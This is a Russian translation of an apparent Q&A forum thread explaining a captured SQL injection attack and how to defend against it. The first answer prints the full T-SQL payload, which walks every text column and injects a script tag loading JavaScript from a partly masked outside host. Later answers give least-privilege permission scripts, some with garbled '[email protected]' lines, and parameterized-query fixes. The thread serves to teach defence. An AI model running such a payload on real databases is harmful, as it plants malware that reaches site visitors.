Может кто-нибудь объяснить эту инъекцию SQL-инъекции для меня?

Ответ 1

Простое форматирование для удобства чтения прояснит многое:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Он проходит через каждый текстовый столбец каждой таблицы и вставляет в него некоторый HTML-код; HTML, который содержит указатель на созданный извне JavaScript.

Ответ 2

Он перебирает все столбцы во всех таблицах и обновляет их значение, добавляя тег <script>, источник которого указывает на вредоносный JS файл.

Важный бит

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

Я предполагаю, что что-то здесь опущено, и утверждение, вероятно, закончилось чем-то вроде ( "varchar", "char", "text" ) или что-то подобное, так что он пытается только обновить столбцы, содержащие текст. Они надеются, что в одном из столбцов будет содержаться текст, который будет загружен на ваш сайт, поэтому после добавления ссылки на него JS он будет включен в источник различных страниц.

Чтобы исправить это, вы должны сделать что-то подобное - пропустите все столбцы, содержащие текст, и замените введенный script пустой строкой. Google будет вашим другом здесь, но здесь очень хорошая ссылка, которая должна быть полезной для настройки script для этого.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

Ответ 3

Рассмотрите возможность установки URLScan 3.1, чтобы быстро защитить приложение от попыток внедрения sql, а также работать через ваше приложение, чтобы правильно дезактивировать ваши SQL-заявления.

Этот тип атаки на sql-инъекцию также обычно работает, потому что пользователь вашей базы данных имеет слишком слабые разрешения, например. Права DBO. Попытайтесь подключиться к своей базе данных из своего приложения, используя пользователя базы данных с только необходимыми правами для запуска вашего приложения. Вы можете создать пользователя базы данных, сопоставить его с вашей базой данных с публичными правами, а не запускать script, как показано ниже, для применения необходимых индивидуальных прав на каждый объект, который вам нужен.

DECLARE @LOGIN varchar(255)
DECLARE @DB varchar(255)

SELECT @LOGIN = 'yourdbuser'
SELECT @DB = 'yourdb'

/* set default database */
EXEC sp_defaultdb @LOGIN, @DB

/* drop system admin role */
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin'

/* drop database owner role */
EXEC sp_droprolemember 'db_owner', @LOGIN

/* grant execute on all non system stored procedures and scalar functions */
DECLARE @SP varchar(255)
DECLARE Proc_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='P' or type='FN')
AND category <> 2 -- system
OPEN Proc_Cursor
FETCH NEXT FROM Proc_Cursor INTO @SP
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT EXECUTE ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Proc_Cursor INTO @SP
END
CLOSE Proc_Cursor
DEALLOCATE Proc_Cursor

/* grant select on table functions */
DECLARE @TF varchar(255)
DECLARE Tf_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='TF')
AND category <> 2 -- system
OPEN Tf_Cursor
FETCH NEXT FROM Tf_Cursor INTO @TF
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Tf_Cursor INTO @SP
END
CLOSE Tf_Cursor
DEALLOCATE Tf_Cursor

/* grant select/update/insert/delete on all user defined tables */
DECLARE @T varchar(255)
DECLARE Table_Cursor CURSOR FOR
SELECT name FROM sysobjects
WHERE (type='U' or type='V') -- user defined tables and views
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['[email protected]+'] TO ['[email protected]+']')
FETCH NEXT FROM Table_Cursor INTO @T
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

/* deny access to system tables */
DENY SELECT ON syscolumns TO yourdbuser
DENY SELECT ON sysobjects TO yourdbuser

DENY VIEW DEFINITION TO yourdbuser

DENY SELECT ON sys.databases TO yourdbuser
DENY SELECT ON sys.columns TO yourdbuser
DENY SELECT ON sys.objects TO yourdbuser
DENY SELECT ON sys.sql_logins TO yourdbuser
DENY SELECT ON sys.all_columns TO yourdbuser
DENY SELECT ON sys.all_objects TO yourdbuser
DENY SELECT ON sys.all_parameters TO yourdbuser
DENY SELECT ON sys.all_views TO yourdbuser

Очевидно, протестируйте это против своего конкретного приложения, поскольку у вас могут быть процедуры, требующие выбора из этих таблиц sys.

Ответ 4

Я думаю, что он пытается вставить закодированные строки во все текстовые столбцы в вашей базе данных. Проверьте этот ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

Надеюсь, что это поможет в некотором смысле

Ответ 5

Посмотрите на изменение своих запросов следующим образом:

Dim oConn, oRS, SQL
'Query open to attack
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id")

Set oConn = Server.CreateObject("ADODB.Connection")
Call oConn.Open(conn_string_from_inc)

Set oRS = oConn.Execute(SQL)    

Call oConn.Close()
Set oConn = Nothing

Что-то вроде этого;

Dim oCmd, oRS, SQL
SQL = "SELECT * FROM [Table] WHERE [id] = ?"

Set oCmd = Server.CreateObject("ADODB.Command")
With oCmd
  .ActiveConnection = conn_string_from_inc
  .CommandType = adCmdText
  .CommandText = SQL
  Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4))
  .Parameters("@id").Value = Request.QueryString("id")
  Set oRS = .Execute()
End With
Set oCmd = Nothing

Это просто грубый пример борьбы с SQL Injection, не прибегая к дезинфекции входных данных. Я все равно поступил бы по-другому.